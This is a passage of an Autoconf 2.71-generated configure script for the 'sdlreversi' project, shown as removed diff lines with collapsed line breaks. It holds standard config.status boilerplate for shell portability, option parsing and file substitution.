>>$CONFIG_STATUS <<\_ASEOF || as_write_fail=1 -## -------------------- ## -## M4sh Initialization. ## -## -------------------- ## - -# Be more Bourne compatible -DUALCASE=1; export DUALCASE # for MKS sh -as_nop=: -if test ${ZSH_VERSION+y} && (emulate sh) >/dev/null 2>&1 -then : - emulate sh - NULLCMD=: - # Pre-4.2 versions of Zsh do word splitting on ${1+"$@"}, which - # is contrary to our usage. Disable this feature. - alias -g '${1+"$@"}'='"$@"' - setopt NO_GLOB_SUBST -else $as_nop - case `(set -o) 2>/dev/null` in #( - *posix*) : - set -o posix ;; #( - *) : - ;; -esac -fi - - - -# Reset variables that may have inherited troublesome values from -# the environment. - -# IFS needs to be set, to space, tab, and newline, in precisely that order. -# (If _AS_PATH_WALK were called with IFS unset, it would have the -# side effect of setting IFS to empty, thus disabling word splitting.) -# Quoting is to prevent editors from complaining about space-tab. -as_nl=' -' -export as_nl -IFS=" "" $as_nl" - -PS1='$ ' -PS2='> ' -PS4='+ ' - -# Ensure predictable behavior from utilities with locale-dependent output. -LC_ALL=C -export LC_ALL -LANGUAGE=C -export LANGUAGE - -# We cannot yet rely on "unset" to work, but we need these variables -# to be unset--not just set to an empty or harmless value--now, to -# avoid bugs in old shells (e.g. pre-3.0 UWIN ksh). This construct -# also avoids known problems related to "unset" and subshell syntax -# in other old shells (e.g. bash 2.01 and pdksh 5.2.14). -for as_var in BASH_ENV ENV MAIL MAILPATH CDPATH -do eval test \${$as_var+y} \ - && ( (unset $as_var) || exit 1) >/dev/null 2>&1 && unset $as_var || : -done - -# Ensure that fds 0, 1, and 2 are open. -if (exec 3>&0) 2>/dev/null; then :; else exec 0&1) 2>/dev/null; then :; else exec 1>/dev/null; fi -if (exec 3>&2) ; then :; else exec 2>/dev/null; fi - -# The user is always right. -if ${PATH_SEPARATOR+false} :; then - PATH_SEPARATOR=: - (PATH='/bin;/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 && { - (PATH='/bin:/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 || - PATH_SEPARATOR=';' - } -fi - - -# Find who we are. Look in the path if we contain no directory separator. -as_myself= -case $0 in #(( - *[\\/]* ) as_myself=$0 ;; - *) as_save_IFS=$IFS; IFS=$PATH_SEPARATOR -for as_dir in $PATH -do - IFS=$as_save_IFS - case $as_dir in #((( - '') as_dir=./ ;; - */) ;; - *) as_dir=$as_dir/ ;; - esac - test -r "$as_dir$0" && as_myself=$as_dir$0 && break - done -IFS=$as_save_IFS - - ;; -esac -# We did not find ourselves, most probably we were run as `sh COMMAND' -# in which case we are not to be found in the path. -if test "x$as_myself" = x; then - as_myself=$0 -fi -if test ! -f "$as_myself"; then - printf "%s\n" "$as_myself: error: cannot find myself; rerun with an absolute file name" >&2 - exit 1 -fi - - - -# as_fn_error STATUS ERROR [LINENO LOG_FD] -# ---------------------------------------- -# Output "`basename $0`: error: ERROR" to stderr. If LINENO and LOG_FD are -# provided, also output the error to LOG_FD, referencing LINENO. Then exit the -# script with STATUS, using 1 if that was 0. -as_fn_error () -{ - as_status=$1; test $as_status -eq 0 && as_status=1 - if test "$4"; then - as_lineno=${as_lineno-"$3"} as_lineno_stack=as_lineno_stack=$as_lineno_stack - printf "%s\n" "$as_me:${as_lineno-$LINENO}: error: $2" >&$4 - fi - printf "%s\n" "$as_me: error: $2" >&2 - as_fn_exit $as_status -} # as_fn_error - - - -# as_fn_set_status STATUS -# ----------------------- -# Set $? to STATUS, without forking. -as_fn_set_status () -{ - return $1 -} # as_fn_set_status - -# as_fn_exit STATUS -# ----------------- -# Exit the shell with STATUS, even in a "trap 0" or "set -e" context. -as_fn_exit () -{ - set +e - as_fn_set_status $1 - exit $1 -} # as_fn_exit - -# as_fn_unset VAR -# --------------- -# Portably unset VAR. -as_fn_unset () -{ - { eval $1=; unset $1;} -} -as_unset=as_fn_unset - -# as_fn_append VAR VALUE -# ---------------------- -# Append the text in VALUE to the end of the definition contained in VAR. Take -# advantage of any shell optimizations that allow amortized linear growth over -# repeated appends, instead of the typical quadratic growth present in naive -# implementations. -if (eval "as_var=1; as_var+=2; test x\$as_var = x12") 2>/dev/null -then : - eval 'as_fn_append () - { - eval $1+=\$2 - }' -else $as_nop - as_fn_append () - { - eval $1=\$$1\$2 - } -fi # as_fn_append - -# as_fn_arith ARG... -# ------------------ -# Perform arithmetic evaluation on the ARGs, and store the result in the -# global $as_val. Take advantage of shells that can avoid forks. The arguments -# must be portable across $(()) and expr. -if (eval "test \$(( 1 + 1 )) = 2") 2>/dev/null -then : - eval 'as_fn_arith () - { - as_val=$(( $* )) - }' -else $as_nop - as_fn_arith () - { - as_val=`expr "$@" || test $? -eq 1` - } -fi # as_fn_arith - - -if expr a : '\(a\)' >/dev/null 2>&1 && - test "X`expr 00001 : '.*\(...\)'`" = X001; then - as_expr=expr -else - as_expr=false -fi - -if (basename -- /) >/dev/null 2>&1 && test "X`basename -- / 2>&1`" = "X/"; then - as_basename=basename -else - as_basename=false -fi - -if (as_dir=`dirname -- /` && test "X$as_dir" = X/) >/dev/null 2>&1; then - as_dirname=dirname -else - as_dirname=false -fi - -as_me=`$as_basename -- "$0" || -$as_expr X/"$0" : '.*/\([^/][^/]*\)/*$' \| \ - X"$0" : 'X\(//\)$' \| \ - X"$0" : 'X\(/\)' \| . 2>/dev/null || -printf "%s\n" X/"$0" | - sed '/^.*\/\([^/][^/]*\)\/*$/{ - s//\1/ - q - } - /^X\/\(\/\/\)$/{ - s//\1/ - q - } - /^X\/\(\/\).*/{ - s//\1/ - q - } - s/.*/./; q'` - -# Avoid depending upon Character Ranges. -as_cr_letters='abcdefghijklmnopqrstuvwxyz' -as_cr_LETTERS='ABCDEFGHIJKLMNOPQRSTUVWXYZ' -as_cr_Letters=$as_cr_letters$as_cr_LETTERS -as_cr_digits='0123456789' -as_cr_alnum=$as_cr_Letters$as_cr_digits - - -# Determine whether it's possible to make 'echo' print without a newline. -# These variables are no longer used directly by Autoconf, but are AC_SUBSTed -# for compatibility with existing Makefiles. -ECHO_C= ECHO_N= ECHO_T= -case `echo -n x` in #((((( --n*) - case `echo 'xy\c'` in - *c*) ECHO_T=' ';; # ECHO_T is single tab character. - xy) ECHO_C='\c';; - *) echo `echo ksh88 bug on AIX 6.1` > /dev/null - ECHO_T=' ';; - esac;; -*) - ECHO_N='-n';; -esac - -# For backward compatibility with old third-party macros, we provide -# the shell variables $as_echo and $as_echo_n. New code should use -# AS_ECHO(["message"]) and AS_ECHO_N(["message"]), respectively. -as_echo='printf %s\n' -as_echo_n='printf %s' - -rm -f conf$$ conf$$.exe conf$$.file -if test -d conf$$.dir; then - rm -f conf$$.dir/conf$$.file -else - rm -f conf$$.dir - mkdir conf$$.dir 2>/dev/null -fi -if (echo >conf$$.file) 2>/dev/null; then - if ln -s conf$$.file conf$$ 2>/dev/null; then - as_ln_s='ln -s' - # ... but there are two gotchas: - # 1) On MSYS, both `ln -s file dir' and `ln file dir' fail. - # 2) DJGPP < 2.04 has no symlinks; `ln -s' creates a wrapper executable. - # In both cases, we have to default to `cp -pR'. - ln -s conf$$.file conf$$.dir 2>/dev/null && test ! -f conf$$.exe || - as_ln_s='cp -pR' - elif ln conf$$.file conf$$ 2>/dev/null; then - as_ln_s=ln - else - as_ln_s='cp -pR' - fi -else - as_ln_s='cp -pR' -fi -rm -f conf$$ conf$$.exe conf$$.dir/conf$$.file conf$$.file -rmdir conf$$.dir 2>/dev/null - - -# as_fn_mkdir_p -# ------------- -# Create "$as_dir" as a directory, including parents if necessary. -as_fn_mkdir_p () -{ - - case $as_dir in #( - -*) as_dir=./$as_dir;; - esac - test -d "$as_dir" || eval $as_mkdir_p || { - as_dirs= - while :; do - case $as_dir in #( - *\'*) as_qdir=`printf "%s\n" "$as_dir" | sed "s/'/'\\\\\\\\''/g"`;; #'( - *) as_qdir=$as_dir;; - esac - as_dirs="'$as_qdir' $as_dirs" - as_dir=`$as_dirname -- "$as_dir" || -$as_expr X"$as_dir" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ - X"$as_dir" : 'X\(//\)[^/]' \| \ - X"$as_dir" : 'X\(//\)$' \| \ - X"$as_dir" : 'X\(/\)' \| . 2>/dev/null || -printf "%s\n" X"$as_dir" | - sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ - s//\1/ - q - } - /^X\(\/\/\)[^/].*/{ - s//\1/ - q - } - /^X\(\/\/\)$/{ - s//\1/ - q - } - /^X\(\/\).*/{ - s//\1/ - q - } - s/.*/./; q'` - test -d "$as_dir" && break - done - test -z "$as_dirs" || eval "mkdir $as_dirs" - } || test -d "$as_dir" || as_fn_error $? "cannot create directory $as_dir" - - -} # as_fn_mkdir_p -if mkdir -p . 2>/dev/null; then - as_mkdir_p='mkdir -p "$as_dir"' -else - test -d ./-p && rmdir ./-p - as_mkdir_p=false -fi - - -# as_fn_executable_p FILE -# ----------------------- -# Test if FILE is an executable regular file. -as_fn_executable_p () -{ - test -f "$1" && test -x "$1" -} # as_fn_executable_p -as_test_x='test -x' -as_executable_p=as_fn_executable_p - -# Sed expression to map a string onto a valid CPP name. -as_tr_cpp="eval sed 'y%*$as_cr_letters%P$as_cr_LETTERS%;s%[^_$as_cr_alnum]%_%g'" - -# Sed expression to map a string onto a valid variable name. -as_tr_sh="eval sed 'y%*+%pp%;s%[^_$as_cr_alnum]%_%g'" - - -exec 6>&1 -## ----------------------------------- ## -## Main body of $CONFIG_STATUS script. ## -## ----------------------------------- ## -_ASEOF -test $as_write_fail = 0 && chmod +x $CONFIG_STATUS || ac_write_fail=1 - -cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 -# Save the log message, to keep $0 and so on meaningful, and to -# report actual input values of CONFIG_FILES etc. instead of their -# values after options handling. -ac_log=" -This file was extended by sdlreversi $as_me 1.0, which was -generated by GNU Autoconf 2.71. Invocation command line was - - CONFIG_FILES = $CONFIG_FILES - CONFIG_HEADERS = $CONFIG_HEADERS - CONFIG_LINKS = $CONFIG_LINKS - CONFIG_COMMANDS = $CONFIG_COMMANDS - $ $0 $@ - -on `(hostname || uname -n) 2>/dev/null | sed 1q` -" - -_ACEOF - -case $ac_config_files in *" -"*) set x $ac_config_files; shift; ac_config_files=$*;; -esac - -case $ac_config_headers in *" -"*) set x $ac_config_headers; shift; ac_config_headers=$*;; -esac - - -cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 -# Files that config.status was made for. -config_files="$ac_config_files" -config_headers="$ac_config_headers" -config_commands="$ac_config_commands" - -_ACEOF - -cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 -ac_cs_usage="\ -\`$as_me' instantiates files and other configuration actions -from templates according to the current configuration. Unless the files -and actions are specified as TAGs, all are instantiated by default. - -Usage: $0 [OPTION]... [TAG]... - - -h, --help print this help, then exit - -V, --version print version number and configuration settings, then exit - --config print configuration, then exit - -q, --quiet, --silent - do not print progress messages - -d, --debug don't remove temporary files - --recheck update $as_me by reconfiguring in the same conditions - --file=FILE[:TEMPLATE] - instantiate the configuration file FILE - --header=FILE[:TEMPLATE] - instantiate the configuration header FILE - -Configuration files: -$config_files - -Configuration headers: -$config_headers - -Configuration commands: -$config_commands - -Report bugs to ." - -_ACEOF -ac_cs_config=`printf "%s\n" "$ac_configure_args" | sed "$ac_safe_unquote"` -ac_cs_config_escaped=`printf "%s\n" "$ac_cs_config" | sed "s/^ //; s/'/'\\\\\\\\''/g"` -cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 -ac_cs_config='$ac_cs_config_escaped' -ac_cs_version="\\ -sdlreversi config.status 1.0 -configured by $0, generated by GNU Autoconf 2.71, - with options \\"\$ac_cs_config\\" - -Copyright (C) 2021 Free Software Foundation, Inc. -This config.status script is free software; the Free Software Foundation -gives unlimited permission to copy, distribute and modify it." - -ac_pwd='$ac_pwd' -srcdir='$srcdir' -INSTALL='$INSTALL' -MKDIR_P='$MKDIR_P' -AWK='$AWK' -test -n "\$AWK" || AWK=awk -_ACEOF - -cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 -# The default lists apply if the user does not specify any file. -ac_need_defaults=: -while test $# != 0 -do - case $1 in - --*=?*) - ac_option=`expr "X$1" : 'X\([^=]*\)='` - ac_optarg=`expr "X$1" : 'X[^=]*=\(.*\)'` - ac_shift=: - ;; - --*=) - ac_option=`expr "X$1" : 'X\([^=]*\)='` - ac_optarg= - ac_shift=: - ;; - *) - ac_option=$1 - ac_optarg=$2 - ac_shift=shift - ;; - esac - - case $ac_option in - # Handling of the options. - -recheck | --recheck | --rechec | --reche | --rech | --rec | --re | --r) - ac_cs_recheck=: ;; - --version | --versio | --versi | --vers | --ver | --ve | --v | -V ) - printf "%s\n" "$ac_cs_version"; exit ;; - --config | --confi | --conf | --con | --co | --c ) - printf "%s\n" "$ac_cs_config"; exit ;; - --debug | --debu | --deb | --de | --d | -d ) - debug=: ;; - --file | --fil | --fi | --f ) - $ac_shift - case $ac_optarg in - *\'*) ac_optarg=`printf "%s\n" "$ac_optarg" | sed "s/'/'\\\\\\\\''/g"` ;; - '') as_fn_error $? "missing file argument" ;; - esac - as_fn_append CONFIG_FILES " '$ac_optarg'" - ac_need_defaults=false;; - --header | --heade | --head | --hea ) - $ac_shift - case $ac_optarg in - *\'*) ac_optarg=`printf "%s\n" "$ac_optarg" | sed "s/'/'\\\\\\\\''/g"` ;; - esac - as_fn_append CONFIG_HEADERS " '$ac_optarg'" - ac_need_defaults=false;; - --he | --h) - # Conflict between --help and --header - as_fn_error $? "ambiguous option: \`$1' -Try \`$0 --help' for more information.";; - --help | --hel | -h ) - printf "%s\n" "$ac_cs_usage"; exit ;; - -q | -quiet | --quiet | --quie | --qui | --qu | --q \ - | -silent | --silent | --silen | --sile | --sil | --si | --s) - ac_cs_silent=: ;; - - # This is an error. - -*) as_fn_error $? "unrecognized option: \`$1' -Try \`$0 --help' for more information." ;; - - *) as_fn_append ac_config_targets " $1" - ac_need_defaults=false ;; - - esac - shift -done - -ac_configure_extra_args= - -if $ac_cs_silent; then - exec 6>/dev/null - ac_configure_extra_args="$ac_configure_extra_args --silent" -fi - -_ACEOF -cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 -if \$ac_cs_recheck; then - set X $SHELL '$0' $ac_configure_args \$ac_configure_extra_args --no-create --no-recursion - shift - \printf "%s\n" "running CONFIG_SHELL=$SHELL \$*" >&6 - CONFIG_SHELL='$SHELL' - export CONFIG_SHELL - exec "\$@" -fi - -_ACEOF -cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 -exec 5>>config.log -{ - echo - sed 'h;s/./-/g;s/^.../## /;s/...$/ ##/;p;x;p;x' <<_ASBOX -## Running $as_me. ## -_ASBOX - printf "%s\n" "$ac_log" -} >&5 - -_ACEOF -cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 -# -# INIT-COMMANDS -# -AMDEP_TRUE="$AMDEP_TRUE" MAKE="${MAKE-make}" - -_ACEOF - -cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 - -# Handling of arguments. -for ac_config_target in $ac_config_targets -do - case $ac_config_target in - "config.h") CONFIG_HEADERS="$CONFIG_HEADERS config.h" ;; - "depfiles") CONFIG_COMMANDS="$CONFIG_COMMANDS depfiles" ;; - "Makefile") CONFIG_FILES="$CONFIG_FILES Makefile" ;; - - *) as_fn_error $? "invalid argument: \`$ac_config_target'" "$LINENO" 5;; - esac -done - - -# If the user did not use the arguments to specify the items to instantiate, -# then the envvar interface is used. Set only those that are not. -# We use the long form for the default assignment because of an extremely -# bizarre bug on SunOS 4.1.3. -if $ac_need_defaults; then - test ${CONFIG_FILES+y} || CONFIG_FILES=$config_files - test ${CONFIG_HEADERS+y} || CONFIG_HEADERS=$config_headers - test ${CONFIG_COMMANDS+y} || CONFIG_COMMANDS=$config_commands -fi - -# Have a temporary directory for convenience. Make it in the build tree -# simply because there is no reason against having it here, and in addition, -# creating and moving files from /tmp can sometimes cause problems. -# Hook for its removal unless debugging. -# Note that there is a small window in which the directory will not be cleaned: -# after its creation but before its name has been assigned to `$tmp'. -$debug || -{ - tmp= ac_tmp= - trap 'exit_status=$? - : "${ac_tmp:=$tmp}" - { test ! -d "$ac_tmp" || rm -fr "$ac_tmp"; } && exit $exit_status -' 0 - trap 'as_fn_exit 1' 1 2 13 15 -} -# Create a (secure) tmp directory for tmp files. - -{ - tmp=`(umask 077 && mktemp -d "./confXXXXXX") 2>/dev/null` && - test -d "$tmp" -} || -{ - tmp=./conf$$-$RANDOM - (umask 077 && mkdir "$tmp") -} || as_fn_error $? "cannot create a temporary directory in ." "$LINENO" 5 -ac_tmp=$tmp - -# Set up the scripts for CONFIG_FILES section. -# No need to generate them if there are no CONFIG_FILES. -# This happens for instance with `./config.status config.h'. -if test -n "$CONFIG_FILES"; then - - -ac_cr=`echo X | tr X '\015'` -# On cygwin, bash can eat \r inside `` if the user requested igncr. -# But we know of no other shell where ac_cr would be empty at this -# point, so we can use a bashism as a fallback. -if test "x$ac_cr" = x; then - eval ac_cr=\$\'\\r\' -fi -ac_cs_awk_cr=`$AWK 'BEGIN { print "a\rb" }' /dev/null` -if test "$ac_cs_awk_cr" = "a${ac_cr}b"; then - ac_cs_awk_cr='\\r' -else - ac_cs_awk_cr=$ac_cr -fi - -echo 'BEGIN {' >"$ac_tmp/subs1.awk" && -_ACEOF - - -{ - echo "cat >conf$$subs.awk <<_ACEOF" && - echo "$ac_subst_vars" | sed 's/.*/&!$&$ac_delim/' && - echo "_ACEOF" -} >conf$$subs.sh || - as_fn_error $? "could not make $CONFIG_STATUS" "$LINENO" 5 -ac_delim_num=`echo "$ac_subst_vars" | grep -c '^'` -ac_delim='%!_!# ' -for ac_last_try in false false false false false :; do - . ./conf$$subs.sh || - as_fn_error $? "could not make $CONFIG_STATUS" "$LINENO" 5 - - ac_delim_n=`sed -n "s/.*$ac_delim\$/X/p" conf$$subs.awk | grep -c X` - if test $ac_delim_n = $ac_delim_num; then - break - elif $ac_last_try; then - as_fn_error $? "could not make $CONFIG_STATUS" "$LINENO" 5 - else - ac_delim="$ac_delim!$ac_delim _$ac_delim!! " - fi -done -rm -f conf$$subs.sh - -cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 -cat >>"\$ac_tmp/subs1.awk" <<\\_ACAWK && -_ACEOF -sed -n ' -h -s/^/S["/; s/!.*/"]=/ -p -g -s/^[^!]*!// -:repl -t repl -s/'"$ac_delim"'$// -t delim -:nl -h -s/\(.\{148\}\)..*/\1/ -t more1 -s/["\\]/\\&/g; s/^/"/; s/$/\\n"\\/ -p -n -b repl -:more1 -s/["\\]/\\&/g; s/^/"/; s/$/"\\/ -p -g -s/.\{148\}// -t nl -:delim -h -s/\(.\{148\}\)..*/\1/ -t more2 -s/["\\]/\\&/g; s/^/"/; s/$/"/ -p -b -:more2 -s/["\\]/\\&/g; s/^/"/; s/$/"\\/ -p -g -s/.\{148\}// -t delim -' >$CONFIG_STATUS || ac_write_fail=1 -rm -f conf$$subs.awk -cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 -_ACAWK -cat >>"\$ac_tmp/subs1.awk" <<_ACAWK && - for (key in S) S_is_set[key] = 1 - FS = "" - -} -{ - line = $ 0 - nfields = split(line, field, "@") - substed = 0 - len = length(field[1]) - for (i = 2; i < nfields; i++) { - key = field[i] - keylen = length(key) - if (S_is_set[key]) { - value = S[key] - line = substr(line, 1, len) "" value "" substr(line, len + keylen + 3) - len += length(value) + length(field[++i]) - substed = 1 - } else - len += 1 + keylen - } - - print line -} - -_ACAWK -_ACEOF -cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 -if sed "s/$ac_cr//" < /dev/null > /dev/null 2>&1; then - sed "s/$ac_cr\$//; s/$ac_cr/$ac_cs_awk_cr/g" -else - cat -fi < "$ac_tmp/subs1.awk" > "$ac_tmp/subs.awk" \ - || as_fn_error $? "could not setup config files machinery" "$LINENO" 5 -_ACEOF - -# VPATH may cause trouble with some makes, so we remove sole $(srcdir), -# ${srcdir} and @srcdir@ entries from VPATH if srcdir is ".", strip leading and -# trailing colons and then remove the whole line if VPATH becomes empty -# (actually we leave an empty line to preserve line numbers). -if test "x$srcdir" = x.; then - ac_vpsub='/^[ ]*VPATH[ ]*=[ ]*/{ -h -s/// -s/^/:/ -s/[ ]*$/:/ -s/:\$(srcdir):/:/g -s/:\${srcdir}:/:/g -s/:@srcdir@:/:/g -s/^:*// -s/:*$// -x -s/\(=[ ]*\).*/\1/ -G -s/\n// -s/^[^=]*=[ ]*$// -}' -fi - -cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 -fi # test -n "$CONFIG_FILES" - -# Set up the scripts for CONFIG_HEADERS section. -# No need to generate them if there are no CONFIG_HEADERS. -# This happens for instance with `./config.status Makefile'. -if test -n "$CONFIG_HEADERS"; then -cat >"$ac_tmp/defines.awk" <<\_ACAWK || -BEGIN { -_ACEOF - -# Transform confdefs.h into an awk script `defines.awk', embedded as -# here-document in config.status, that substitutes the proper values into -# config.h.in to produce config.h. - -# Create a delimiter string that does not exist in confdefs.h, to ease -# handling of long lines. -ac_delim='%!_!# ' -for ac_last_try in false false :; do - ac_tt=`sed -n "/$ac_delim/p" confdefs.h` - if test -z "$ac_tt"; then - break - elif $ac_last_try; then - as_fn_error $? "could not make $CONFIG_HEADERS" "$LINENO" 5 - else - ac_delim="$ac_delim!$ac_delim _$ac_delim!! " - fi -done - -# For the awk script, D is an array of macro values keyed by name, -# likewise P contains macro parameters if any. Preserve backslash -# newline sequences. - -ac_word_re=[_$as_cr_Letters][_$as_cr_alnum]* -sed -n ' -s/.\{148\}/&'"$ac_delim"'/g -t rset -:rset -s/^[ ]*#[ ]*define[ ][ ]*/ / -t def -d -:def -s/\\$// -t bsnl -s/["\\]/\\&/g -s/^ \('"$ac_word_re"'\)\(([^()]*)\)[ ]*\(.*\)/P["\1"]="\2"\ -D["\1"]=" \3"/p -s/^ \('"$ac_word_re"'\)[ ]*\(.*\)/D["\1"]=" \2"/p -d -:bsnl -s/["\\]/\\&/g -s/^ \('"$ac_word_re"'\)\(([^()]*)\)[ ]*\(.*\)/P["\1"]="\2"\ -D["\1"]=" \3\\\\\\n"\\/p -t cont -s/^ \('"$ac_word_re"'\)[ ]*\(.*\)/D["\1"]=" \2\\\\\\n"\\/p -t cont -d -:cont -n -s/.\{148\}/&'"$ac_delim"'/g -t clear -:clear -s/\\$// -t bsnlc -s/["\\]/\\&/g; s/^/"/; s/$/"/p -d -:bsnlc -s/["\\]/\\&/g; s/^/"/; s/$/\\\\\\n"\\/p -b cont -' >$CONFIG_STATUS || ac_write_fail=1 - -cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 - for (key in D) D_is_set[key] = 1 - FS = "" -} -/^[\t ]*#[\t ]*(define|undef)[\t ]+$ac_word_re([\t (]|\$)/ { - line = \$ 0 - split(line, arg, " ") - if (arg[1] == "#") { - defundef = arg[2] - mac1 = arg[3] - } else { - defundef = substr(arg[1], 2) - mac1 = arg[2] - } - split(mac1, mac2, "(") #) - macro = mac2[1] - prefix = substr(line, 1, index(line, defundef) - 1) - if (D_is_set[macro]) { - # Preserve the white space surrounding the "#". - print prefix "define", macro P[macro] D[macro] - next - } else { - # Replace #undef with comments. This is necessary, for example, - # in the case of _POSIX_SOURCE, which is predefined and required - # on some systems where configure will not decide to define it. - if (defundef == "undef") { - print "/*", prefix defundef, macro, "*/" - next - } - } -} -{ print } -_ACAWK -_ACEOF -cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 - as_fn_error $? "could not setup config headers machinery" "$LINENO" 5 -fi # test -n "$CONFIG_HEADERS" - - -eval set X " :F $CONFIG_FILES :H $CONFIG_HEADERS :C $CONFIG_COMMANDS" -shift -for ac_tag -do - case $ac_tag in - :[FHLC]) ac_mode=$ac_tag; continue;; - esac - case $ac_mode$ac_tag in - :[FHL]*:*);; - :L* | :C*:*) as_fn_error $? "invalid tag \`$ac_tag'" "$LINENO" 5;; - :[FH]-) ac_tag=-:-;; - :[FH]*) ac_tag=$ac_tag:$ac_tag.in;; - esac - ac_save_IFS=$IFS - IFS=: - set x $ac_tag - IFS=$ac_save_IFS - shift - ac_file=$1 - shift - - case $ac_mode in - :L) ac_source=$1;; - :[FH]) - ac_file_inputs= - for ac_f - do - case $ac_f in - -) ac_f="$ac_tmp/stdin";; - *) # Look for the file first in the build tree, then in the source tree - # (if the path is not absolute). The absolute path cannot be DOS-style, - # because $ac_f cannot contain `:'. - test -f "$ac_f" || - case $ac_f in - [\\/$]*) false;; - *) test -f "$srcdir/$ac_f" && ac_f="$srcdir/$ac_f";; - esac || - as_fn_error 1 "cannot find input file: \`$ac_f'" "$LINENO" 5;; - esac - case $ac_f in *\'*) ac_f=`printf "%s\n" "$ac_f" | sed "s/'/'\\\\\\\\''/g"`;; esac - as_fn_append ac_file_inputs " '$ac_f'" - done - - # Let's still pretend it is `configure' which instantiates (i.e., don't - # use $as_me), people would be surprised to read: - # /* config.h. Generated by config.status. */ - configure_input='Generated from '` - printf "%s\n" "$*" | sed 's|^[^:]*/||;s|:[^:]*/|, |g' - `' by configure.' - if test x"$ac_file" != x-; then - configure_input="$ac_file. $configure_input" - { printf "%s\n" "$as_me:${as_lineno-$LINENO}: creating $ac_file" >&5 -printf "%s\n" "$as_me: creating $ac_file" >&6;} - fi - # Neutralize special characters interpreted by sed in replacement strings. - case $configure_input in #( - *\&* | *\|* | *\\* ) - ac_sed_conf_input=`printf "%s\n" "$configure_input" | - sed 's/[\\\\&|]/\\\\&/g'`;; #( - *) ac_sed_conf_input=$configure_input;; - esac - - case $ac_tag in - *:-:* | *:-) cat >"$ac_tmp/stdin" \ - || as_fn_error $? "could not create $ac_file" "$LINENO" 5 ;; - esac - ;; - esac - - ac_dir=`$as_dirname -- "$ac_file" || -$as_expr X"$ac_file" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ - X"$ac_file" : 'X\(//\)[^/]' \| \ - X"$ac_file" : 'X\(//\)$' \| \ - X"$ac_file" : 'X\(/\)' \| . 2>/dev/null || -printf "%s\n" X"$ac_file" | - sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ - s//\1/ - q - } - /^X\(\/\/\)[^/].*/{ - s//\1/ - q - } - /^X\(\/\/\)$/{ - s//\1/ - q - } - /^X\(\/\).*/{ - s//\1/ - q - } - s/.*/./; q'` - as_dir="$ac_dir"; as_fn_mkdir_p - ac_builddir=. - -case "$ac_dir" in -.) ac_dir_suffix= ac_top_builddir_sub=. ac_top_build_prefix= ;; -*) - ac_dir_suffix=/`printf "%s\n" "$ac_dir" | sed 's|^\.[\\/]||'` - # A ".." for each directory in $ac_dir_suffix. - ac_top_builddir_sub=`printf "%s\n" "$ac_dir_suffix" | sed 's|/[^\\/]*|/..|g;s|/||'` - case $ac_top_builddir_sub in - "") ac_top_builddir_sub=. ac_top_build_prefix= ;; - *) ac_top_build_prefix=$ac_top_builddir_sub/ ;; - esac ;; -esac -ac_abs_top_builddir=$ac_pwd -ac_abs_builddir=$ac_pwd$ac_dir_suffix -# for backward compatibility: -ac_top_builddir=$ac_top_build_prefix - -case $srcdir in - .) # We are building in place. - ac_srcdir=. - ac_top_srcdir=$ac_top_builddir_sub - ac_abs_top_srcdir=$ac_pwd ;; - [\\/]* | ?:[\\/]* ) # Absolute name. - ac_srcdir=$srcdir$ac_dir_suffix; - ac_top_srcdir=$srcdir - ac_abs_top_srcdir=$srcdir ;; - *) # Relative name. - ac_srcdir=$ac_top_build_prefix$srcdir$ac_dir_suffix - ac_top_srcdir=$ac_top_build_prefix$srcdir - ac_abs_top_srcdir=$ac_pwd/$srcdir ;; -esac -ac_abs_srcdir=$ac_abs_top_srcdir$ac_dir_suffix - - - case $ac_mode in - :F) - # - # CONFIG_FILE - # - - case $INSTALL in - [\\/$]* | ?:[\\/]* ) ac_INSTALL=$INSTALL ;; - *) ac_INSTALL=$ac_top_build_prefix$INSTALL ;; - esac - ac_MKDIR_P=$MKDIR_P - case $MKDIR_P in - [\\/$]* | ?:[\\/]* ) ;; - */*) ac_MKDIR_P=$ac_top_build_prefix$MKDIR_P ;; - esac -_ACEOF - -cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 -# If the template does not know about datarootdir, expand it. -# FIXME: This hack should be removed a few years after 2.60. -ac_datarootdir_hack=; ac_datarootdir_seen= -ac_sed_dataroot=' -/datarootdir/ { - p - q -} -/@datadir@/p -/@docdir@/p -/@infodir@/p -/@localedir@/p -/@mandir@/p' -case `eval "sed -n \"\$ac_sed_dataroot\" $ac_file_inputs"` in -*datarootdir*) ac_datarootdir_seen=yes;; -*@datadir@*|*@docdir@*|*@infodir@*|*@localedir@*|*@mandir@*) - { printf "%s\n" "$as_me:${as_lineno-$LINENO}: WARNING: $ac_file_inputs seems to ignore the --datarootdir setting" >&5 -printf "%s\n" "$as_me: WARNING: $ac_file_inputs seems to ignore the --datarootdir setting" >&2;} -_ACEOF -cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 - ac_datarootdir_hack=' - s&@datadir@&$datadir&g - s&@docdir@&$docdir&g - s&@infodir@&$infodir&g - s&@localedir@&$localedir&g - s&@mandir@&$mandir&g - s&\\\${datarootdir}&$datarootdir&g' ;; -esac -_ACEOF - -# Neutralize VPATH when `$srcdir' = `.'. -# Shell code in configure.ac might set extrasub. -# FIXME: do we really want to maintain this feature? -cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 -ac_sed_extra="$ac_vpsub -$extrasub -_ACEOF -cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 -:t 